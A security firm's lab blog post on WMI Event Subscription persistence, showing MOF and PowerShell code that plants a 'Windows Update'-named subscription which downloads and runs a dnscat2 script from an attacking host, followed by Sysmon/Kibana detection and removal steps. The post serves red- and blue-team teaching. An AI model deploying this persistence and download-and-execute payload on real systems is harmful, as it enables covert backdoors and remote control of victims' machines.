An intro into abusing and identifying WMI Event Subscriptions for persistence.
Overview
Windows Management Instrumentation (WMI) Event Subscriptions are one of many ways to establish persistence on a network. The technique, IDT1084 on Mitre ATT&CK, can be fairly discreet and has been used by APT29 to establish backdoors. We’re not going to dig into too much detail about WMI Event Subscriptions themselves, as some good material on the subject already exists:
- https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
- http://www.fuzzysecurity.com/tutorials/19.html
- https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
- https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
In this post we’ll give an example using MOF files and PowerShell to create the WMI Event Subscription, then we’ll take a look at some events generated by our actions.
So, why are we looking into WMI Event Subscriptions?
- From the red team perspective – they’re a useful way to achieve persistence and can be adapted to achieve a multitude of objectives
- From the blue team perspective – increasing awareness of how they may be abused and how to catch this activity
Part 1a: Abuse (mofcomp.exe)
There are a number of ways to perform this attack and it’s probably fair to say that using MOF (Managed Object Format) files are probably one of the more favoured options by red teamers.
As previously mentioned there are a number of useful resources out there that explain the inner workings of WMI Event Subscriptions, and thanks to Fuzzysecurity and Huntingmalware we have a base for the MOF file and some understanding of the construction.
In the following example we’re going to use a payload that’ll initially call cmd.exe which in turn executes powershell.exe to use Invoke-Expression to contact the attacking host 10.133.251.104. This will then execute the PowerShell script dnscat2.ps1 in memory and communicate with the dnscat2 server we have listening on the attacking host. We’ll talk about the triggers shortly. This may not be the most discrete payload, but it works well for visualising the attack.
#PRAGMA NAMESPACE (“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
Name = “Windows Update Event MOF“;
EventNamespace = “root\\cimv2”;
Query = “SELECT * FROM __InstanceCreationEvent WITHIN 5”
“WHERE TargetInstance ISA \”Win32_NTLogEvent\” ”
“AND TargetInstance.EventCode = \”257\” ”
“AND TargetInstance.Message LIKE \”%10.133.251.104%\” “;
QueryLanguage = “WQL”;
};
instance of CommandLineEventConsumer as $Consumer
{
Name = “Windows Update Consumer MOF“;
RunInteractively = false;
CommandLineTemplate = “cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString(‘http://10.133.251.104/dnscat2.ps1’); Start-Dnscat2 -Domain attacker.pwned.network“;
};
instance of __FilterToConsumerBinding
{
Filter = $EventFilter;
Consumer = $Consumer;
};
Once the MOF file is created, we need to compile this with mofcomp.exe
mofcomp.exe \\10.133.251.104\content\wmi.mof
The attack flow:
- A WMI Event Subscription is created on 10.133.48.104/UK-WKS-104 (the target).
- A port scan of TCP 5900 (VNC) from host 10.133.251.105 to 10.133.48.104 is carried out. The event ID 257 is created on the target but nothing happens as the trigger is dependant on the event message field containing 10.133.251.104.
- A second port scan from the attacking host 10.133.251.104 to 10.133.48.104 successfully triggers the payload.
- Within the second event 257 message field, a reference to 10.133.251.104 is found.
- The target 10.133.48.104 connects to http://10.133.251.104/dnscat2.ps1 and executes the script in memory.
- An Out of Band (OOB) DNS channel is created between the attacker 10.133.251.104 and the target 10.133.48.104.
As a side note; to perform the same action (PowerShell payload is called) but triggered on the opening of notepad.exe instead of querying the event log (as in the initial PoC), you’d use the Win32_Process class and end up with an Event Filter that resembles something like the following example:
instance of __EventFilter as $EventFilterinstance
{
Name = “Windows Update Event MOF”;
EventNamespace = “root\\cimv2”;
Query = “SELECT * FROM __InstanceCreationEvent WITHIN 5″
“WHERE TargetInstance ISA \”Win32_Process\” ”
“AND TargetInstance.Name = \”notepad.exe\” “;
QueryLanguage = “WQL”;
};
Now to see the attack in action…
The query is looking for event ID 257 (in this example the Windows client is running TightVNC Server), so we’ve chosen an event that can be triggered from a remote connection to the target and includes predictable elements so it can be easily reproduced.
You’ll notice that in the video the WMI Event didn’t trigger on a port scan from 10.133.251.105.
But, as per the defined Event Filter, the event did trigger by a scan of the same port from 10.133.251.104.
Part 1b: Abuse (PowerShell):
This is the same attack as above, but using PowerShell to create the WMI Event Subscription.
Using this template we’ll generate a PoC.
The following example is again based on Win32_NTLogEvent, uses the same payload and follows the same attack flow as per the previous MOF PoC.
$EventFilterName = “Windows Update Event PS“
$EventConsumerName = “Windows Update Consumer PS“
$Payload = “cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString(‘http://10.133.251.104/dnscat2.ps1’); Start-Dnscat2 -Domain attacker.pwned.network“
#Event filter
$EventFilterArgs = @{
EventNamespace = ‘root/cimv2’
Name = $EventFilterName
Query = “SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA ‘Win32_NTLogEvent’ AND TargetInstance.EventCode = ‘257’ AND TargetInstance.Message LIKE ‘%10.133.251.104%’“
QueryLanguage = ‘WQL’
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
#CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $Payload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
#FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
Using either method, the Event Filter and CommandLineEventConsumer payload elements are very customisable. These examples are solely to highlight the versatility of this attack technique.
Part 2: Detection:
Background: The LAB in which we’re performing this attack has Windows 10 hosts configured with Sysmon, Winlogbeat and Packetbeat. Events and log data are shipped to an ELK stack so we’ll be using Kibana to search for the relevant IOCs. In this post we’ll be covering WMI Event Subscription logging as opposed to PowerShell logging.
The interesting event ID’s (thanks Darkoperator ) are 19, 20 and 21.
Within Kibana, the following query will retrieve the interesting data from the target:
beat.hostname : “UK-WKS-104” AND log_name : sysmon AND event_id : (19 OR 20 OR 21)
Drilling further down into each event reveals further useful data.
Event ID 19:
Event ID 20:
Event ID 21:
We do have Sysmon configured in the LAB and this monitors Process Create, hence mofcomp.exe execution is caught.
Additionally, with access to the target host, it’s possible to query for and inventory the WMI Event Filters, Consumers and Bindings.
Event Filters:
Get-WMIObject -Namespace root/Subscription -Class __EventFilter
Consumers:
Get-WMIObject -Namespace root/Subscription -Class CommandLineEventConsumer
Bindings:
Get-WMIObject -Namespace root/Subscription -Class CommandLineEventConsumer
Part 3: Removal:
Once identified, it’s a relatively simple task to remove the relevant events, consumers and bindings but if someone has got this far, there is likely more to investigate ????
Remove Event Filters:
Get-WMIObject -Namespace root/Subscription -Class __EventFilter -Filter “Name=’Windows Update Event MOF‘” | Remove-WmiObject -Verbose
Remove Consumers:
Get-WMIObject -Namespace root/Subscription -Class CommandLineEventConsumer -Filter “Name=’Windows Update Consumer MOF‘” | Remove-WmiObject -Verbose
Remove Bindings:
Get-WMIObject -Namespace root/Subscription -Class __FilterToConsumerBinding -Filter “__Path LIKE ‘%Windows Update%‘” | Remove-WmiObject -Verbose
As Matt Graeber states in his Blackhat research paper, Sysinternals AutoRuns can also be used to identify and remove these objects.
About In.security.
In.security was formed by Will and Owen, two cyber security specialists driven to help other organisations stay safe and secure against cyber threats and attacks. After having worked together since 2011 in several former companies, they each gained considerable experience in system/network administration, digital forensics, penetration testing plus training. Based in Cambridgeshire, but operating nationally, we can provide a range of services and training for businesses and individuals alike. Read more about our services below:
- Penetration testing
- Vulnerability assessments
- Build reviews
- Red team testing
- Phishing assessments
- Password auditing
- Cloud security auditing